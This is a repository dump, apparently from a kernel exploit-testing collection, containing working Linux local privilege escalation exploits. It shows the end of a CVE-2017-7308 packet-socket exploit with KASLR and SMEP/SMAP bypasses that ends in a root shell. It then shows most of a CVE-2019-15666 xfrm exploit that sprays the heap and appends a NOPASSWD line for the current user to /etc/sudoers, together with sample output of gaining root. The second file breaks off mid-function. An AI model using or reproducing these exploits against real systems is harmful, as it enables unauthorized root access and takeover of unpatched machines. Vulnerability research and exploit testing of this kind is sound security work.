to avoid potential 671 | // memory corruptions when closing packet sockets. 672 | fork_shell(); 673 | #else 674 | exec_shell(); 675 | #endif 676 | } 677 | 678 | bool write_file(const char* file, const char* what, ...) { 679 | char buf[1024]; 680 | va_list args; 681 | va_start(args, what); 682 | vsnprintf(buf, sizeof(buf), what, args); 683 | va_end(args); 684 | buf[sizeof(buf) - 1] = 0; 685 | int len = strlen(buf); 686 | 687 | int fd = open(file, O_WRONLY | O_CLOEXEC); 688 | if (fd == -1) 689 | return false; 690 | if (write(fd, buf, len) != len) { 691 | close(fd); 692 | return false; 693 | } 694 | close(fd); 695 | return true; 696 | } 697 | 698 | void setup_sandbox() { 699 | int real_uid = getuid(); 700 | int real_gid = getgid(); 701 | 702 | if (unshare(CLONE_NEWUSER) != 0) { 703 | dprintf("[-] unshare(CLONE_NEWUSER)\n"); 704 | exit(EXIT_FAILURE); 705 | } 706 | 707 | if (unshare(CLONE_NEWNET) != 0) { 708 | dprintf("[-] unshare(CLONE_NEWUSER)\n"); 709 | exit(EXIT_FAILURE); 710 | } 711 | 712 | if (!write_file("/proc/self/setgroups", "deny")) { 713 | dprintf("[-] write_file(/proc/self/set_groups)\n"); 714 | exit(EXIT_FAILURE); 715 | } 716 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 717 | dprintf("[-] write_file(/proc/self/uid_map)\n"); 718 | exit(EXIT_FAILURE); 719 | } 720 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 721 | dprintf("[-] write_file(/proc/self/gid_map)\n"); 722 | exit(EXIT_FAILURE); 723 | } 724 | 725 | cpu_set_t my_set; 726 | CPU_ZERO(&my_set); 727 | CPU_SET(0, &my_set); 728 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 729 | dprintf("[-] sched_setaffinity()\n"); 730 | exit(EXIT_FAILURE); 731 | } 732 | 733 | if (system("/sbin/ifconfig lo up") != 0) { 734 | dprintf("[-] system(/sbin/ifconfig lo up)\n"); 735 | exit(EXIT_FAILURE); 736 | } 737 | } 738 | 739 | int main(int argc, char *argv[]) { 740 | if (argc > 1) SHELL = argv[1]; 741 | 742 | dprintf("[.] starting\n"); 743 | 744 | check_procs(); 745 | 746 | dprintf("[.] checking kernel version\n"); 747 | detect_versions(); 748 | dprintf("[~] done, version looks good\n"); 749 | 750 | dprintf("[.] checking SMEP and SMAP\n"); 751 | check_smep_smap(); 752 | dprintf("[~] done, looks good\n"); 753 | 754 | dprintf("[.] setting up namespace sandbox\n"); 755 | setup_sandbox(); 756 | dprintf("[~] done, namespace sandbox set up\n"); 757 | 758 | #if ENABLE_KASLR_BYPASS 759 | dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); 760 | KERNEL_BASE = get_kernel_addr(); 761 | dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE); 762 | #endif 763 | 764 | dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); 765 | dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 766 | 767 | #if ENABLE_SMEP_SMAP_BYPASS 768 | dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4); 769 | #endif 770 | 771 | dprintf("[.] padding heap\n"); 772 | kmalloc_pad(KMALLOC_PAD); 773 | pagealloc_pad(PAGEALLOC_PAD); 774 | dprintf("[.] done, heap is padded\n"); 775 | 776 | #if ENABLE_SMEP_SMAP_BYPASS 777 | dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n"); 778 | oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 779 | dprintf("[.] done, SMEP & SMAP should be off now\n"); 780 | #endif 781 | 782 | dprintf("[.] executing get root payload %p\n", &get_root_payload); 783 | oob_id_match_execute((void *)&get_root_payload); 784 | dprintf("[.] done, should be root now\n"); 785 | 786 | check_root(); 787 | 788 | #if FORK_SHELL 789 | while (1) sleep(1000); 790 | #endif 791 | 792 | return 0; 793 | } 794 | -------------------------------------------------------------------------------- /CVE-2017-7308/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := CVE-2017-7308 2 | 3 | all: 4 | gcc CVE-2017-7308.c -o $(TARGET) 5 | 6 | clean: 7 | rm -f $(TARGET) 8 | -------------------------------------------------------------------------------- /CVE-2019-15666/.out-of-tree.toml: -------------------------------------------------------------------------------- 1 | name = "CVE-2019-15666" 2 | type = "exploit" 3 | 4 | [qemu] 5 | timeout = "5m" 6 | 7 | [[supported_kernels]] 8 | distro_type = "CentOS" 9 | distro_release = "8" 10 | release_mask = "4.18.0-80.11.2.el8_0.x86_64" 11 | -------------------------------------------------------------------------------- /CVE-2019-15666/CVE-2019-15666.c: -------------------------------------------------------------------------------- 1 | /* 2 | * https://github.com/snorez/exploits/blob/master/xfrm_poc_RE_challenge 3 | * 4 | * RE 5 | * Original binary file: https://github.com/duasynt/xfrm_poc/blob/master/lucky0 6 | * This poc is written by Vitaly Nikolenko @vnik5287 7 | * 8 | * Tested on CentOS8 4.18.0-80.11.2.el8_0.x86_64 9 | * [test@localhost Desktop]$ gcc lucky0_RE.c -lpthread 10 | * 11 | * [test@localhost Desktop]$ while true; do ./a.out && break; done 12 | * [-] failed 13 | * [-] failed 14 | * [-] failed 15 | * running get_root 16 | * [+] current user test was added to /etc/sudoers 17 | * [+] get_root done 18 | * 19 | * [test@localhost Desktop]$ sudo su 20 | * [root@localhost Desktop]# id 21 | * uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 22 | * 23 | * [root@localhost Desktop]# uname -a 24 | * Linux localhost.localdomain 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 25 | * 26 | * [root@localhost Desktop]# cat /etc/redhat-release 27 | * CentOS Linux release 8.1.1911 (Core) 28 | * [root@localhost Desktop]# 29 | * 30 | * Compile: 31 | * gcc lucky0_RE.c -lpthread 32 | * 33 | * Execute: 34 | * while true; do ./a.out && break; done 35 | */ 36 | #define _GNU_SOURCE 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | 70 | static int write_file(const char* file, const char* what, ...) 71 | { 72 | char buf[1024]; 73 | va_list args; 74 | va_start(args, what); 75 | vsnprintf(buf, sizeof(buf), what, args); 76 | va_end(args); 77 | buf[sizeof(buf) - 1] = 0; 78 | int len = strlen(buf); 79 | 80 | int fd = open(file, O_WRONLY | O_CLOEXEC); 81 | if (fd == -1) 82 | return 0; 83 | if (write(fd, buf, len) != len) { 84 | close(fd); 85 | return 0; 86 | } 87 | close(fd); 88 | return 1; 89 | } 90 | 91 | void setup_sandbox() 92 | { 93 | int real_uid = getuid(); 94 | int real_gid = getgid(); 95 | 96 | if (unshare(CLONE_NEWUSER) != 0) { 97 | perror("unshare(CLONE_NEWUSER)"); 98 | exit(EXIT_FAILURE); 99 | } 100 | 101 | if (unshare(CLONE_NEWNET) != 0) { 102 | perror("unshare(CLONE_NEWUSER)"); 103 | exit(EXIT_FAILURE); 104 | } 105 | 106 | if (!write_file("/proc/self/setgroups", "deny")) { 107 | perror("write_file(/proc/self/set_groups)"); 108 | exit(EXIT_FAILURE); 109 | } 110 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 111 | perror("write_file(/proc/self/uid_map)"); 112 | exit(EXIT_FAILURE); 113 | } 114 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 115 | perror("write_file(/proc/self/gid_map)"); 116 | exit(EXIT_FAILURE); 117 | } 118 | 119 | cpu_set_t my_set; 120 | CPU_ZERO(&my_set); 121 | CPU_SET(0, &my_set); 122 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 123 | perror("sched_setaffinity()"); 124 | exit(EXIT_FAILURE); 125 | } 126 | 127 | if (system("/sbin/ifconfig lo up") != 0) { 128 | perror("system(/sbin/ifconfig lo up)"); 129 | exit(EXIT_FAILURE); 130 | } 131 | 132 | printf("[+] namespace sandbox setup successfully\n"); 133 | } 134 | 135 | int bind_on_cpu(int num) 136 | { 137 | cpu_set_t cpu; 138 | CPU_ZERO(&cpu); 139 | CPU_SET(num, &cpu); 140 | if (sched_setaffinity(syscall(SYS_gettid), sizeof(cpu), &cpu) == -1) { 141 | perror("sched_setaffinity"); 142 | return -1; 143 | } 144 | 145 | CPU_ZERO(&cpu); 146 | if (sched_getaffinity(syscall(SYS_gettid), sizeof(cpu), &cpu) == -1) { 147 | perror("sched_getaffinity"); 148 | return -1; 149 | } 150 | 151 | if (!CPU_ISSET(num, &cpu)) 152 | return -1; 153 | 154 | return 0; 155 | } 156 | 157 | #define MAX_PAYLOAD 512 158 | 159 | int xfrm_new_policy0(void) 160 | { 161 | int err; 162 | 163 | struct msghdr mh; 164 | struct iovec iov; 165 | struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); 166 | memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); 167 | memset(&mh, 0, sizeof(mh)); 168 | 169 | nlm->nlmsg_type = XFRM_MSG_UPDPOLICY; 170 | nlm->nlmsg_flags = NLM_F_REQUEST; 171 | nlm->nlmsg_pid = 0; 172 | 173 | char *p = NULL; 174 | /* DATA: xfrm_userpolicy_info */ 175 | struct xfrm_userpolicy_info xupi; 176 | memset(&xupi, 0, sizeof(xupi)); 177 | xupi.share = XFRM_SHARE_ANY; 178 | xupi.action = XFRM_POLICY_ALLOW; 179 | xupi.dir = XFRM_POLICY_IN; 180 | xupi.index = 0; 181 | xupi.priority = 0; 182 | xupi.sel.family = AF_INET; 183 | //xupi.lft.hard_add_expires_seconds = 9; 184 | memcpy(NLMSG_DATA(nlm), &xupi, sizeof(xupi)); 185 | p = NLMSG_DATA(nlm) + sizeof(xupi); 186 | 187 | nlm->nlmsg_len = p - (char *)nlm; 188 | 189 | iov.iov_base = (void *)nlm; 190 | iov.iov_len = nlm->nlmsg_len; 191 | mh.msg_iov = &iov; 192 | mh.msg_iovlen = 1; 193 | 194 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 195 | err = sendmsg(fd, &mh, 0); 196 | if (err == -1) { 197 | free(nlm); 198 | return -1; 199 | } 200 | 201 | free(nlm); 202 | return 0; 203 | } 204 | 205 | int xfrm_new_policy1(void) 206 | { 207 | int err; 208 | 209 | struct msghdr mh; 210 | struct iovec iov; 211 | struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); 212 | memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); 213 | memset(&mh, 0, sizeof(mh)); 214 | 215 | nlm->nlmsg_type = XFRM_MSG_UPDPOLICY; 216 | nlm->nlmsg_flags = NLM_F_REQUEST; 217 | nlm->nlmsg_pid = 0; 218 | 219 | char *p = NULL; 220 | /* DATA: xfrm_userpolicy_info */ 221 | struct xfrm_userpolicy_info xupi; 222 | memset(&xupi, 0, sizeof(xupi)); 223 | xupi.share = XFRM_SHARE_ANY; 224 | xupi.action = XFRM_POLICY_ALLOW; 225 | xupi.dir = XFRM_POLICY_IN; 226 | xupi.index = 260; 227 | xupi.priority = 1; 228 | xupi.sel.family = AF_INET; 229 | //xupi.lft.hard_add_expires_seconds = 9; 230 | memcpy(NLMSG_DATA(nlm), &xupi, sizeof(xupi)); 231 | p = NLMSG_DATA(nlm) + sizeof(xupi); 232 | 233 | #if 0 234 | /* ATTR: XFRM_POLICY_TYPE */ 235 | struct nlattr nla; 236 | struct xfrm_userpolicy_type upt; 237 | memset(&nla, 0, sizeof(nla)); 238 | memset(&upt, 0, sizeof(upt)); 239 | nla.nla_len = sizeof(upt) + sizeof(nla); 240 | nla.nla_type = XFRMA_POLICY_TYPE; 241 | upt.type = XFRM_POLICY_TYPE_SUB; /* the type we set index 0 */ 242 | memcpy(p, &nla, sizeof(nla)); 243 | p += sizeof(nla); 244 | memcpy(p, &upt, sizeof(upt)); 245 | p += sizeof(upt); 246 | #endif 247 | 248 | nlm->nlmsg_len = p - (char *)nlm; 249 | 250 | iov.iov_base = (void *)nlm; 251 | iov.iov_len = nlm->nlmsg_len; 252 | mh.msg_iov = &iov; 253 | mh.msg_iovlen = 1; 254 | 255 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 256 | err = sendmsg(fd, &mh, 0); 257 | if (err == -1) { 258 | free(nlm); 259 | return -1; 260 | } 261 | 262 | free(nlm); 263 | return 0; 264 | } 265 | 266 | int xfrm_hash_rebuild(void) 267 | { 268 | int err; 269 | 270 | struct msghdr mh; 271 | struct iovec iov; 272 | struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); 273 | memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); 274 | memset(&mh, 0, sizeof(mh)); 275 | 276 | nlm->nlmsg_type = XFRM_MSG_NEWSPDINFO; 277 | nlm->nlmsg_flags = NLM_F_REQUEST; 278 | nlm->nlmsg_pid = 0; 279 | 280 | char *p = NLMSG_DATA(nlm); 281 | /* DATA: flags */ 282 | unsigned int pad = 0; 283 | memcpy(p, &pad, sizeof(pad)); 284 | p += NLMSG_ALIGN(sizeof(pad)); 285 | 286 | /* ATTR: XFRMA_SPD_IPV4_HTHRESH */ 287 | struct nlattr nla; 288 | struct xfrmu_spdhthresh thresh4; 289 | memset(&nla, 0, sizeof(nla)); 290 | memset(&thresh4, 0, sizeof(thresh4)); 291 | nla.nla_len = sizeof(thresh4) + sizeof(nla); 292 | nla.nla_type = XFRMA_SPD_IPV4_HTHRESH; 293 | thresh4.lbits = 32; 294 | thresh4.rbits = 32; 295 | memcpy(p, &nla, sizeof(nla)); 296 | p += sizeof(nla); 297 | memcpy(p, &thresh4, sizeof(thresh4)); 298 | p += sizeof(thresh4); 299 | 300 | nlm->nlmsg_len = p - (char *)nlm; 301 | 302 | iov.iov_base = (void *)nlm; 303 | iov.iov_len = nlm->nlmsg_len; 304 | mh.msg_iov = &iov; 305 | mh.msg_iovlen = 1; 306 | 307 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 308 | err = sendmsg(fd, &mh, 0); 309 | if (err == -1) { 310 | free(nlm); 311 | return -1; 312 | } 313 | 314 | free(nlm); 315 | return 0; 316 | } 317 | 318 | int xfrm_flush_policy0(void) 319 | { 320 | int err; 321 | 322 | struct msghdr mh; 323 | struct iovec iov; 324 | struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); 325 | memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); 326 | memset(&mh, 0, sizeof(mh)); 327 | 328 | nlm->nlmsg_type = XFRM_MSG_FLUSHPOLICY; 329 | nlm->nlmsg_flags = NLM_F_REQUEST; 330 | nlm->nlmsg_pid = 0; 331 | 332 | char *p = NLMSG_DATA(nlm); 333 | /* DATA: nothing to do here */ 334 | 335 | nlm->nlmsg_len = p - (char *)nlm; 336 | 337 | iov.iov_base = (void *)nlm; 338 | iov.iov_len = nlm->nlmsg_len; 339 | mh.msg_iov = &iov; 340 | mh.msg_iovlen = 1; 341 | 342 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 343 | err = sendmsg(fd, &mh, 0); 344 | if (err == -1) { 345 | free(nlm); 346 | return -1; 347 | } 348 | 349 | free(nlm); 350 | return 0; 351 | } 352 | 353 | int xfrm_flush_policy1(void) 354 | { 355 | int err; 356 | 357 | struct msghdr mh; 358 | struct iovec iov; 359 | struct nlmsghdr *nlm = malloc(NLMSG_SPACE(MAX_PAYLOAD)); 360 | memset(nlm, 0, NLMSG_SPACE(MAX_PAYLOAD)); 361 | memset(&mh, 0, sizeof(mh)); 362 | 363 | nlm->nlmsg_type = XFRM_MSG_FLUSHPOLICY; 364 | nlm->nlmsg_flags = NLM_F_REQUEST; 365 | nlm->nlmsg_pid = 0; 366 | 367 | char *p = NLMSG_DATA(nlm); 368 | /* DATA: nothing to do here */ 369 | 370 | /* ATTR: XFRM_POLICY_TYPE */ 371 | struct nlattr nla; 372 | struct xfrm_userpolicy_type upt; 373 | memset(&nla, 0, sizeof(nla)); 374 | memset(&upt, 0, sizeof(upt)); 375 | nla.nla_len = sizeof(upt) + sizeof(nla); 376 | nla.nla_type = XFRMA_POLICY_TYPE; 377 | upt.type = XFRM_POLICY_TYPE_SUB; /* the type we set index 0 */ 378 | memcpy(p, &nla, sizeof(nla)); 379 | p += sizeof(nla); 380 | memcpy(p, &upt, sizeof(upt)); 381 | p += sizeof(upt); 382 | 383 | nlm->nlmsg_len = p - (char *)nlm; 384 | 385 | iov.iov_base = (void *)nlm; 386 | iov.iov_len = nlm->nlmsg_len; 387 | mh.msg_iov = &iov; 388 | mh.msg_iovlen = 1; 389 | 390 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 391 | err = sendmsg(fd, &mh, 0); 392 | if (err == -1) { 393 | free(nlm); 394 | return -1; 395 | } 396 | 397 | free(nlm); 398 | return 0; 399 | } 400 | 401 | static void __xfrm_hash_rebuild(void) 402 | { 403 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 404 | if (fd == -1) { 405 | perror("socket"); 406 | return; 407 | } 408 | 409 | struct msghdr mh; /* 0x38 */ 410 | int len = sizeof(struct nlmsghdr); 411 | int padding = NLMSG_ALIGN(sizeof(int)); 412 | len += padding; 413 | len += sizeof(struct nlattr); 414 | len += sizeof(struct xfrmu_spdhthresh); 415 | char buf[len]; 416 | struct iovec iov; 417 | memset(&mh, 0, sizeof(mh)); 418 | memset(buf, 0, len); 419 | memset(&iov, 0, sizeof(iov)); 420 | 421 | struct nlmsghdr *d0; 422 | d0 = (struct nlmsghdr *)&buf[0]; 423 | struct nlattr *d1; 424 | d1 = (struct nlattr *)(buf + sizeof(*d0) + padding); 425 | struct xfrmu_spdhthresh *d2; 426 | d2 = (struct xfrmu_spdhthresh *)(buf + sizeof(*d0) + 427 | padding + sizeof(*d1)); 428 | 429 | iov.iov_base = (void *)buf; 430 | iov.iov_len = len; 431 | 432 | mh.msg_iov = &iov; 433 | mh.msg_iovlen = 1; 434 | 435 | d0->nlmsg_len = len; 436 | d0->nlmsg_type = 0x24; /* XFRM_MSG_NEWSPDINFO */ 437 | d0->nlmsg_flags = 3; /* NLM_F_REQUEST | NLM_F_MULTI */ 438 | d0->nlmsg_seq = 0; 439 | d0->nlmsg_pid = 0; 440 | d1->nla_len = sizeof(*d1) + sizeof(*d2); 441 | d1->nla_type = XFRMA_SPD_IPV4_HTHRESH; 442 | d2->rbits = 1; 443 | 444 | sendmsg(fd, &mh, 0); 445 | return; 446 | } 447 | 448 | static void __xfrm_flush_policy0(void) 449 | { 450 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 451 | if (fd == -1) { 452 | perror("socket"); 453 | return; 454 | } 455 | 456 | struct msghdr mh; 457 | struct iovec iov; 458 | struct nlmsghdr nlm; 459 | memset(&mh, 0, sizeof(mh)); 460 | memset(&iov, 0, sizeof(iov)); 461 | memset(&nlm, 0, sizeof(nlm)); 462 | 463 | iov.iov_base = (void *)&nlm; 464 | iov.iov_len = sizeof(nlm); 465 | 466 | mh.msg_iov = &iov; 467 | mh.msg_iovlen = 1; 468 | 469 | nlm.nlmsg_len = sizeof(nlm); 470 | nlm.nlmsg_type = XFRM_MSG_FLUSHPOLICY; 471 | nlm.nlmsg_flags = 1; 472 | nlm.nlmsg_seq = 0; 473 | nlm.nlmsg_pid = 0; 474 | 475 | sendmsg(fd, &mh, 0); 476 | return; 477 | } 478 | 479 | static void __xfrm_add_policy0(void) 480 | { 481 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 482 | if (fd == -1) { 483 | perror("socket"); 484 | return; 485 | } 486 | 487 | struct msghdr mh; 488 | struct iovec iov; 489 | int len = sizeof(struct nlmsghdr); 490 | len += sizeof(struct xfrm_userpolicy_info); 491 | char buf[len]; 492 | memset(&mh, 0, sizeof(mh)); 493 | memset(&iov, 0, sizeof(iov)); 494 | memset(buf, 0, len); 495 | 496 | struct nlmsghdr *d0; 497 | d0 = (struct nlmsghdr *)buf; 498 | struct xfrm_userpolicy_info *d1; 499 | d1 = (struct xfrm_userpolicy_info *)(buf + sizeof(*d0)); 500 | 501 | iov.iov_base = (void *)buf; 502 | iov.iov_len = len; 503 | 504 | mh.msg_iov = &iov; 505 | mh.msg_iovlen = 1; 506 | 507 | d0->nlmsg_len = len; 508 | d0->nlmsg_type = 0x13; 509 | d0->nlmsg_flags = 0x301; 510 | d0->nlmsg_seq = 0; 511 | d0->nlmsg_pid = 0; 512 | d1->sel.saddr.a6[0] = 0x80fe; 513 | d1->sel.saddr.a6[1] = 0; 514 | d1->sel.saddr.a6[2] = 0; 515 | d1->sel.saddr.a6[3] = 0xAA000000; 516 | d1->sel.family = AF_INET6; 517 | 518 | sendmsg(fd, &mh, 0); 519 | return; 520 | } 521 | 522 | static void __xfrm_add_policy1(void) 523 | { 524 | int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 525 | if (fd == -1) { 526 | perror("socket"); 527 | return; 528 | } 529 | 530 | struct msghdr mh; 531 | struct iovec iov; 532 | int len = sizeof(struct nlmsghdr); 533 | len += sizeof(struct xfrm_userpolicy_info); 534 | char buf[len]; 535 | memset(&mh, 0, sizeof(mh)); 536 | memset(&iov, 0, sizeof(iov)); 537 | memset(buf, 0, len); 538 | 539 | struct nlmsghdr *d0; 540 | d0 = (struct nlmsghdr *)buf; 541 | struct xfrm_userpolicy_info *d1; 542 | d1 = (struct xfrm_userpolicy_info *)(buf + sizeof(*d0)); 543 | 544 | iov.iov_base = (void *)buf; 545 | iov.iov_len = len; 546 | 547 | mh.msg_iov = &iov; 548 | mh.msg_iovlen = 1; 549 | 550 | d0->nlmsg_len = len; 551 | d0->nlmsg_type = 0x19; 552 | d0->nlmsg_flags = 0x1; 553 | d0->nlmsg_seq = 0x70bd27; 554 | d0->nlmsg_pid = 0x25dfdbff; 555 | d1->sel.dport = 0x204e; 556 | d1->sel.dport_mask = 0x800; 557 | d1->sel.sport = 0x244e; 558 | d1->sel.family = AF_INET6; 559 | d1->sel.proto = 0xbe; 560 | d1->lft.soft_add_expires_seconds = 7; 561 | d1->lft.hard_add_expires_seconds = 7; 562 | d1->priority = 1; 563 | d1->index = 0x6e6bbc; 564 | d1->action = 1; 565 | d1->flags = 1; 566 | 567 | sendmsg(fd, &mh, 0); 568 | return; 569 | } 570 | 571 | int pipedes0[2]; 572 | int pipedes1[2]; 573 | int pipedes2[2]; 574 | #define SUBP_MAX 2000 575 | #define SEM_MAX 300 576 | int pid[SUBP_MAX]; 577 | sem_t *shmaddr; 578 | int global_6031cc; 579 | 580 | static void get_root(void) 581 | { 582 | fprintf(stderr, "running get_root\n"); 583 | struct passwd *p; 584 | p = getpwuid(getuid()); 585 | if (!p) { 586 | perror("getpwuid"); 587 | exit(-1); 588 | } 589 | 590 | char str[256]; 591 | sprintf(str, "%s\tALL=(ALL) \tNOPASSWD: ALL\n", p->pw_name); 592 | 593 | chmod("/etc/sudoers", 0x1a0); /* TODO */ 594 | int fd = open("/etc/sudoers", 0x401); /* TODO */ 595 | if (fd == -1) { 596 | perror("sudoers"); 597 | exit(-1); 598 | } 599 | 600 | write(fd, str, strlen(str)); 601 | chmod("/etc/sudoers", 0x120); /* TODO */ 602 | printf("[+] current user %s was added to /etc/sudoers\n", p->pw_name); 603 | } 604 | 605 | struct uffd_spray_data { 606 | int fd; 607 | int idx; 608 | }; 609 | static void *uffd_spray_handler(void *arg) 610 | { 611 | struct uffd_spray_data *o; 612 | o = (struct uffd_spray_data *)arg; 613 | 614 | struct pollfd pollfd; 615 | struct uffd_msg msg; 616 | ssize_t nr = -1; 617 | int fd = o->fd; 618 | int idx = o->idx; 619 | 620 | pollfd.fd = fd; 621 | pollfd.events = POLLIN; 622 | 623 | while (1) { 624 | int ready; 625 | int readc = 0; 626 | 627 | ready = poll(&pollfd, 1, -1); 628 | 629 | if (pollfd.revents & POLLERR) 630 | continue; 631 | 632 | if (!(pollfd.revents & POLLIN)) 633 | continue; 634 | 635 | readc = read(fd, &msg, 0x20); 636 | if (readc == -1) { 637 | perror("read userfaultfd"); 638 | } 639 | if (readc != 0x20) 640 | exit(1); 641 | 642 | void *addr; 643 | addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000); 644 | sem_post(&shmaddr[idx + 1]); 645 | int c; 646 | read(pipedes0[0], &c, 1); 647 | 648 | struct uffdio_copy io_copy; 649 | char src[0x1000]; 650 | io_copy.dst = (unsigned long)addr; 651 | io_copy.src = (unsigned long)src; 652 | io_copy.len = 0x1000; 653 | io_copy.mode = 0; 654 | if ((idx > (SEM_MAX - 1)) || (idx < 205)) { 655 | sleep(1); 656 | if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) 657 | perror("UFFDIO_COPY"); 658 | } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) { 659 | perror("UFFDIO_COPY"); 660 | } 661 | sleep(3); 662 | break; 663 | } 664 | 665 | return (void *)0; 666 | } 667 | 668 | static pthread_t uffd_setup(void *addr, unsigned long len, 669 | long flag, int idx) 670 | { 671 | int err; 672 | int uffd; 673 | uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); 674 | if (uffd == -1) { 675 | perror("userfaultfd"); 676 | exit(-1); 677 | } 678 | 679 | struct uffdio_api io_api; 680 | io_api.api = UFFD_API; 681 | io_api.features = 0; 682 | err = ioctl(uffd, UFFDIO_API, &io_api); 683 | if (err == -1) { 684 | perror("UFFD_API"); 685 | exit(-1); 686 | } 687 | if (io_api.api != UFFD_API) { 688 | fprintf(stderr, "UFFD_API error\n"); 689 | exit(-1); 690 | } 691 | 692 | struct uffdio_register io_reg; 693 | io_reg.range.start = (unsigned long)addr; 694 | io_reg.range.len = len; 695 | io_reg.mode = UFFDIO_REGISTER_MODE_MISSING; 696 | err = ioctl(uffd, UFFDIO_REGISTER, &io_reg); 697 | if (err == -1) { 698 | perror("ioctl UFFDIO_REGISTER"); 699 | exit(-1); 700 | } 701 | 702 | if ((io_reg.ioctls & 0x1c) != 0x1c) { 703 | fprintf(stderr, "ioctl set is incorrent\n"); 704 | exit(-1); 705 | } 706 | 707 | struct uffd_spray_data *b; 708 | b = (struct uffd_spray_data *)malloc(8); 709 | b->fd = uffd; 710 | b->idx = idx; 711 | 712 | pthread_t ret; 713 | pthread_create(&ret, NULL, uffd_spray_handler, (void *)b); 714 | return ret; 715 | } 716 | 717 | static pthread_t spray_setxattr(int flag, int idx) 718 | { 719 | pthread_t ret; 720 | void *addr; 721 | addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ 722 | if (!addr) { 723 | perror("mmap"); 724 | exit(-1); 725 | } 726 | 727 | ret = uffd_setup(addr, 0x1000, flag, idx); 728 | sem_wait(&shmaddr[idx]); 729 | if (flag) { 730 | int c; 731 | read(pipedes1[0], &c, 1); 732 | } 733 | setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ 734 | return ret; 735 | } 736 | 737 | /* 738 | * the original program use these to get userns 739 | * open("/proc/self/ns/pid", 0); 740 | * ioctl(fd, NS_GET_USERNS); 741 | */ 742 | int main(int argc, char *argv[]) 743 | { 744 | key_t key; 745 | int shmid; 746 | int orig_gid; 747 | int stat_loc; 748 | 749 | //setup_sandbox(); 750 | int fd; 751 | fd = open("/proc/self/ns/pid", O_RDONLY); 752 | if (fd == -1) { 753 | perror("open"); 754 | return -1; 755 | } 756 | 757 | int err; 758 | err = ioctl(fd, 0xb701); /* TODO */ 759 | if (err < 0) { 760 | global_6031cc = 1; 761 | } 762 | 763 | bind_on_cpu(0); 764 | 765 | key = ftok("/dev/null", 5); 766 | shmid = shmget(key, 0x25a0, 0x3a4); /* TODO */ 767 | if (shmid < 0) { 768 | perror("shmget"); 769 | exit(-1); 770 | } 771 | 772 | shmaddr = (sem_t *)shmat(shmid, 0, 0); 773 | 774 | for (int i = 0; i < SEM_MAX; i++) { 775 | sem_init(&shmaddr[i], 1, 0); 776 | } 777 | 778 | pipe(pipedes0); 779 | pipe(pipedes1); 780 | pipe(pipedes2); 781 | 782 | orig_gid = getgid(); 783 | 784 | for (int i = 0; i < SUBP_MAX; i++) { 785 | pid[i] = fork(); 786 | if (pid[i]) 787 | continue; 788 | /* child process */ 789 | close(pipedes0[1]); 790 | close(pipedes1[1]); 791 | close(pipedes2[1]); 792 | 793 | int tmpfd; 794 | tmpfd = open("/proc/self/ns/pid", O_RDONLY); 795 | if (tmpfd == -1) { 796 | perror("open"); 797 | } 798 | 799 | if ((i > 0xf9) && (i < SEM_MAX)) { 800 | spray_setxattr(1, i); 801 | sleep(5); 802 | exit(0); 803 | } else if (i <= 0xf9) { 804 | spray_setxattr(0, i); 805 | sleep(5); 806 | exit(0); 807 | } 808 | 809 | sleep(8); 810 | if (setgid(orig_gid) < 0) { 811 | perror("setgid"); 812 | exit(0); 813 | } 814 | 815 | sleep(5); 816 | if (!global_6031cc) { 817 | if (ioctl(tmpfd, 0xb701) < 0) { 818 | alarm(0); 819 | exit(2); 820 | } 821 | } 822 | 823 | if (!seteuid(0)) { 824 | setegid(0); 825 | get_root(); 826 | exit(1); 827 | } 828 | exit(0); 829 | } 830 | if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == -1) { 831 | 